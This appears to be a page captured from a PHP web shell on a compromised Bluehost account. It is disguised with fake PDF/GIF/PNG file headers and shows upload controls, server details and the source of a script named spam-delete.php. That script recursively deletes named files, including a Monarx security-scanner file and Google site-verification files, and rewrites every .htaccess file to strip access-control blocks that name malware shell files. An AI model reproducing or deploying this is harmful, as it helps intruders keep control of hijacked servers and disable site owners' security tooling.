%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_1ec2d7c2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_1ec2d7c2/spam-delete.php
<?php
$current_dir = getcwd(); 
//$current_dir = '/home/u993272038/domains';
$dir = $current_dir; // replace with the directory path you want to scan
$pattern = "*.php"; // replace with the file extension you want to delete

$dir = $current_dir; // replace with the directory path you want to scan

$result = search_virus_file($dir);

if ($result) {
  echo "File found at: $result";
} else {
  echo "File not found";
}

function search_virus_file($dir) {
    
    $filenames_to_delete = ["googleda794cd9937527d01.html", "oshi.php", "monarx-analyzer.php","google1d296ff0a8057915.html"];
    
  if (!is_dir($dir)) {
    return false;
  }

  $files = scandir($dir);

  foreach ($files as $file) {
    if ($file == '.' || $file == '..') {
      continue;
    }
    
    echo "<br>". $file;

    $path = $dir . DIRECTORY_SEPARATOR . $file;

    if (is_dir($path)) {
      // Recursively search the subdirectory
      if (search_virus_file($path)) {
        return true;
      }
    } else {
      // Check if the file is a PHP file
     
       $path = $dir . DIRECTORY_SEPARATOR . $file;

    if (is_file($path) && in_array($file, $filenames_to_delete)) {
        // delete the file
        unlink($path);
    }
  
  
    }
  }

  return false;
}



// delete htaccess code

$files = glob($dir . '/**/.htaccess', GLOB_NOSORT); // get all .htaccess files in the directory

foreach ($files as $file) {
    $contents = file_get_contents($file); // read the contents of the file
    $newContents = preg_replace('/<FilesMatch ".(py|exe|php)\$">.*?<\/FilesMatch>\s*<FilesMatch "^(index.php|lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|wp-admin.php|radio.php|content.php|about.php|wp-login.php|admin.php)\$">.*?<\/FilesMatch>/si', '', $contents); // remove the code block using a regular expression
    file_put_contents($file, $newContents); // write the modified contents back to the file
}

?>

VaKeR 2022